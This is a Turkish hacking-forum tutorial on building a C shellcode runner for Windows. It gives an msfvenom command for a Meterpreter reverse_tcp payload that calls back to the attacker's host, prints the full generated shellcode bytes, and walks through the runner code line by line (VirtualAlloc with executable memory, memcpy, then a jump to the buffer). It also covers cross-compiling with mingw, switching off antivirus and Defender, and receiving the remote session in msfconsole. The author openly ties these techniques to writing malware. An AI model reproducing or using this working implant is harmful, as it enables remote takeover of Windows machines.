C ile Local Shellcode En Baştan Mantığını Kavrayalım

Alcatraz10

Asistan Moderatör
15 Ocak 2021
163
155
Uzay
Local Shellcode En Baştan Mantığını Kavrayalım | C

Bu konumuzda Shellcode nedir? nasıl çalışır? ve C kodlamasını beraber yapacağız.
Konudan
FUD beklentiniz olmasın konu başından belirteyim.

Bu konu baya bir başlangıçtan başlayacak şimdi konumuza geçelim.

API Nedir?
Açılımı
Uygulama Programlama Arayüzü'dür.
Birden fazla hizmet arasında işlem veya veri transferi yapabilen bu mimariye sahip olan arka planda çalışan sistemlere
API diyoruz.


cugqsbl.png


Örnek vermek gerekirse bir mutfağımız var bu BackEnd, restorantta ki masayı yemekleri de FrontEnd olarak düşünebiliriz.
Aradaki garsonlarıda
API olarak düşünebiliriz.

Aranızda API web alanında kullanıyor bu bize bunu neden anlatıyor diyenleriniz olabilir doğru bildiğiniz bir doğruyu düzeltelim API çoğu alanda kullanılabilir.

Mesela bu konuda kullanacağımız
WinAPI Windows API'leri mevcut.

Windows işletim sisteminin Microsoft'un kendi geliştiricilerinin kullanması ve onların işlerini kolaylaştırması için geliştirmiş olduğu kod kümelerine WindowsAPI's veya WinAPI's olarak isimlendiriliyor.
Bu şekilde internette aratırsanız
WinAPI'leri vs. bulabilirsiniz.

Peki bu
WinAPI'lar ne işe yarıyor?
Bunu şu şekilde anlatabilirim
Kullanıcı ve Karnel'in yani sistem seviyesi işlemlerin arası çok yakın değil windows sistemlerde yani bu ne demek, mesela benim bir RAM'im var ve bu RAM'in bazı yetenekleri var. Veri Yazma, Okuma, Değiştirme ve Erişme bu verileri bir buffer üzerinde depolama bunu bir fonksiyon gibi çağırma vs. çok farklı RAM üzerinde gerçekleştirebileceğimiz fantezilerimiz var.
Diyorki bu
WinAPI'ler sen diyor bu WinAPI'yi kullanırsan bellek üzerinde kendine bir yer tahsis edebilirsin bu API'yi kullanırsan başka bir programa yada başka bir yere gidip kodu enjekte edebilirsin, bir thread açabilirsin bir kod çalıştırabilirsin gibi gibi çok fazla özelliği var bu API'lerin.

Biz bunları kullanarak cins cins farklı özelliklerde zararlı yazılımlar geliştirebiliyoruz. Ancak bu konuda en temelden ilerleyeceğiz.

Umarım
API'nin mantığını kavramışsınızdır bunu anlamak işlemlerimizde bizlere yardımcı olacak.

Şimdi
Shellcode Nedir?

jel6qlm.png


Yukarıdaki görselde sağda gördüğünüz kod bir
Assembly yapısıdır. Burada farklı farklı işlemler ve komutlar var. Bu işlemler sayısal Hexadecimal karşılıkları var bilgisayarlar sonuçta sayısal sistemlerle Binary ile çalışıyorlar bu aradaki geçiş formların da Hexadecimal gibi sayı sistemleri de kullanılabiliyor. Bunlarda bizlerin karşısına oldukça sık çıkmakta.


Shellcode Oluşturulmasına Geçelim.

Bash:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.xx.xx LPORT=2121 -f c

-f c kısmı C dili için bana çalıştırılmaya hazır vaziyette bir
Shellcode ver demek.
192.168.xx.xx kısımlarına sizin ip adresiniz ne ise onu girin. Portu da istediğiniz gibi girebilirsiniz benim her zaman kullandığım port 2121'dir.


Bash:
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of c file: 2175 bytes
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x48\x31\xd2\x51\x56\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x4d\x31\xc9\x48\x0f"
"\xb7\x4a\x4a\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x8b"
"\x42\x3c\x41\x51\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
"\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x56\x48\xff\xc9\x4d\x31\xc9\x41\x8b\x34\x88"
"\x48\x01\xd6\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1"
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8"
"\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41"
"\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83"
"\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00"
"\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49"
"\x89\xe5\x49\xbc\x02\x00\x08\x49\xc0\xa8\x14\x83\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b"
"\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31"
"\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41"
"\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58"
"\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00"
"\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58"
"\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00"
"\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68"
"\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba"
"\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9"
"\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68"
"\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f"
"\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49"
"\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48"
"\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
"\xf0\xb5\xa2\x56\xff\xd5";

Şeklinde bir kod çıktısı aldık ve bize 510 byte olduğunu belirtti. Her bir hex değeri bir byte tekabül ediyor yani 510 adımlık bir işlem gerçekleşiyor.

Yazacağımız kodları tek tek açıklayacağım ve daha sonrasında bu C dosyasını Windows platformu için derleyeceğiz.


runner.c adında bir dosya oluşturdum istediğiniz editörü kullanabilirsiniz.
C:
#include <stdio.h>
#include <Windows.h>

Şimdi içiniz#FFFFFFden "Sen Windows'tasın nasıl windows.h kütüphanesini dahil ediyorsun?" diye sorabilirsiniz. Linux'ta ki GCC'yi kullanacağız Cross Compiler'ı destekleyen bir Compile Yöntemidir.

main methodumuzu tanımlayacağız.


C:
int main()
{
   
}

Elimizdeki Shellcode ya main fonksiyonunun içine yada dışına nereye koyduğunuz farketmez Shellcode koyuyoruz.

C:
void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

Şimdi sizlere yukarıdaki kodu anlatacağım.

void *exec hiçlik bir değer tutan pointer atadık ve burada bir
WinAPI kullanıyor VirtualAlloc bu "0", "sizeof buf" nereden geliyor bunları öğrenmek lazım kopyalayıp yapıştırması kolay ancak öğrenilmesi gereken şeyler.

iqop9w7.png


WinAPI'ları kullanacaksanız bunlara aşina olmanız gerektiğini düşünüyorum.
VirtualAlloc gördüğünüz gibi 4 tane parametre alıyor.
Burada ki
LPVOID herhangi bir değer alabilir demek.
Sen buna herhangi bir pointer adresi verebilirsin diyor yani bellekte istediğin yeri seç ama çalışan bir Process'e denk gelebiliriz bu yüzden biz bunu böyle yapmayacağız çünkü başka bir verinin üzerine yerleşebiliriz yani "0" yani
NULL değeri vereceğiz. Verdiğim linkten okuyabilirsiniz.

"sizeof buf" Shellcode'umuzun boyutunu istemekte. Şimdi biz bir rezervasyon gerçekleştiriyoruz ancak ne kadarlık bir yer istiyorsun soruna yanıt veriyoruz.

Diğer kısımları verdiğim dökümantasyondan okuyabilirsiniz.
C:
memcpy(void *dest, const void * src, size_t n)
C:
memcpy(exec, buf, sizeof buf);

memcpy bir C kütüphanesidir. ilk parametremiz varış noktamız yani kopyalanacak veri exec.
void src neyi kopyalacaksın bana onu ver diyor biz neyi kopyalayacağız Shellcode'umuzu o yüzden değerimiz buf.
size_t n ne kadarlık veri kopyalacağımız soruluyor buda yine buf kadar olacak.

Son kodumuz


Kod:
((void(*)())exec)();
return 0;
return eklemesekte olur.
şimdi derleme vakti.

Bash:
sudo apt-get install mingw-w64
Bash:
x86_64-w64-mingw32-gcc dosya.c -o dosya.exe
nz6p0tv.png

runner.c dosyamızı compile ettik şimdi windows sistemimize atıyoruz ve msfconsole ile dinleme işlemi yapacağız.

Antivirüs ve defender tarafından yakalanacağı için güvenliği kapatıyoruz.

quffir8.png


runner.exe dosyasını çalıştırdığımızda meterpreter bağlantımız geliyor geliştirmek isteyen geliştirebilir ben işleyişini ve nasıl yapılabileceğinizi anlattım.

Herkese İyi Forumlar Dilerim.

l2n991c.jpg
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.